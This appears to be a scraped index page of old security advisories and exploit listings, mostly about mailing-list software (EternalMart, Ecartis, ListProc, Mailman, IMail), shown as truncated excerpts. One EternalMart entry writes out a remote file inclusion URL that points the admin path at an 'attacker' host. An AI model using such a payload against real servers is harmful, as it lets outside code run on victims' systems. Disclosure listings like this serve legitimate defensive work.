EternalMart Mailing List Manager 1.32 - Remote File Inclusion

EternalMart Mailing List Manager 1.32 - Remote File Inclusion source: https://www.securityfocus.com/bid/8767/info EternalMart Mailing List Manager and Guestbook are prone to remote file-include vulnerabilities. Remote attackers may cause malicious PHP code to run on the webserver...

EternalMart Mailing List Manager 1.32 - Remote File Inclusion

source: https://www.securityfocus.com/bid/8767/info EternalMart Mailing List Manager and Guestbook are prone to remote file-include vulnerabilities. Remote attackers may cause malicious PHP code to run on the webserver. http://target/admin/auth.php?emmladminpath=http://attacker will include the...

ecartis buffer overflows and input validation bugs

Timo Sirainen reports multiple buffer overflows that may be triggered while parsing messages, as well as input validation errors that could result in disclosure of mailing list passwords. These bugs were resolved in the August 2003 snapshot of ecartis...

Several security issues were reported to BugTraq mailing list. However most of these issues were already fixed some time ago.

PMASA-2003-1 Announcement-ID: PMASA-2003-1 Date: 2003-06-18 Summary Several security issues were reported to BugTraq mailing list. However most of these issues were already fixed some time ago. Description Reporter wrote that he found following issues within phpMyAdmin code each issue is followed...

SRT2003-05-08-1137 - ListProc mailing list ULISTPROC_UMASK overflow

Secure Network Operations, Inc. http://www.secnetops.com Strategic Reconnaissance Team [email protected] Team Lead Contact [email protected] Our Mission: Secure Network Operations offers expertise in Networking, Intrusion Detection Systems IDS, Software Security Validation, and...

Ecartis HTML Field Manipulation Arbitrary User Password Reset

The remote host is running the Ecartis Mailing List Manager web interface lsg2.cgi. According to its version number, there is a vulnerability that allows an authenticated user to change anyone's password, including the list administrators. An authenticated attacker could exploit this to take...

DSA-271 ecartis - unauthorized password change

Bulletin has no description...

[SECURITY] [DSA NONE] New security.debian.org server after fire in Twente

-------------------------------------------------------------------------- Debian Security Announcement [email protected] http://www.debian.org/security/ Martin Schulze November 22nd, 2002 http://www.debian.org/security/faq -...

WU-IMAP 2000.287(1-2) - Remote Overflow

WU-IMAP 2000.2871-2 - Remote Overflow / 7350owex- x86/linux WU-IMAP 2000.2871-2 remote exploit TESO CONFIDENTIAL - SOURCE MATERIALS This is unpublished proprietary source code of TESO Security. The contents of these coded instructions, statements and computer programs may not be disclosed to thir...

Дырка в IMail (buffer overflow)

Переполнение буфера при обработке письма посланного в список рассылки...

Mailman/Pipermail private mailing list/local user vulnerability

There is a vulnerability in Pipermail mailing list archiving software distributed with and integrated with Mailman, that affects you if you have local users on the machine. If you have a private Mailman mailing lists and b user logins on the same machine, any local user can read the archives of...

Microsoft Windows NT 4.0/2000 - Process Handle Local Privilege Escalation

source: https://www.securityfocus.com/bid/4287/info A vulnerability in Microsoft Windows 2000 and NT 4 could allow a user to gain SYSTEM-level privileges on the local host. The debugging subsystem, which is available to all users, may be used to create duplicate handles to a privileged process...

Ecartis 1.0.00.129 a Listar - Multiple Local Buffer Overflow Vulnerabilities (2)

Ecartis 1.0.00.129 a Listar - Multiple Local Buffer Overflow Vulnerabilities 2 // source: https://www.securityfocus.com/bid/4271/info Ecartis is the new name for the Listar software product. Listar is a mailing list management package for Linux, BSD, and other Unix like operating systems. Multipl...

Ecartis 1.0.0/0.129 a Listar - Multiple Local Buffer Overflow Vulnerabilities (2)

// source: https://www.securityfocus.com/bid/4271/info Ecartis is the new name for the Listar software product. Listar is a mailing list management package for Linux, BSD, and other Unix like operating systems. Multiple local buffer overflow conditions have been reported in some versions of...

[SA-2002:00] Slashcode login vulunerability

SA-2002:00 Slashcode login vulunerability RISK FACTOR: HIGH SYNOPSIS Slash, the code that runs Slashdot and many other web sites, has a vulnerability in recent versions that allows any logged-in user to log in as any other user. This allows users to take nearly full control of a Slash system post...

IMail Web Service User Aliases / Mailing Lists Admin Vulnerability

IMail Web Service User Aliases / Mailing Lists Admin Vulnerability Date : January 1, 2002 Author : Zeeshan Mustafa [email protected] Application : IPSwitch IMail Web Service Versions Test : 7.05/7.04/7.03/7.02/7.01/6.x Exploitable : Remote Vendor Status : Notified Impact of vulnerability :...

OpenBSD ftp Exploit (teso)

Exploit for bsd platform in category local exploits ========================== OpenBSD ftp Exploit teso ========================== / 7350-crocodile - x86/OpenBSD ftp exploit by lorian and scut / TESO=20 TESO CONFIDENTIAL - SOURCE MATERIALS This is unpublished proprietary source code of TESO...

CVE-2001-1211

Ipswitch IMail 7.0.4 and earlier allows attackers with administrator privileges to read and modify user alias and mailing list information for other domains hosted by the same server via the 1 aliasadmin or 2 listadm1 CGI programs, which do not properly verify that an administrator is the...

[SECURITY] [DSA-088-1] improper character escaping in fml

-----BEGIN PGP SIGNED MESSAGE----- - ------------------------------------------------------------------------ Debian Security Advisory DSA-088-1 [email protected] http://www.debian.org/security/ Wichert Akkerman December 5, 2001 -...

Mac OS X setuid root security hole

I can't recall if I have seen this on BugTraq so forgive me if this is an old issue. Try these steps on an OS X machine not logged in as root - Open up the terminal application - Quit the terminal application - Open up NetInfo Manager leave it in the foreground - Open up the Terminal application...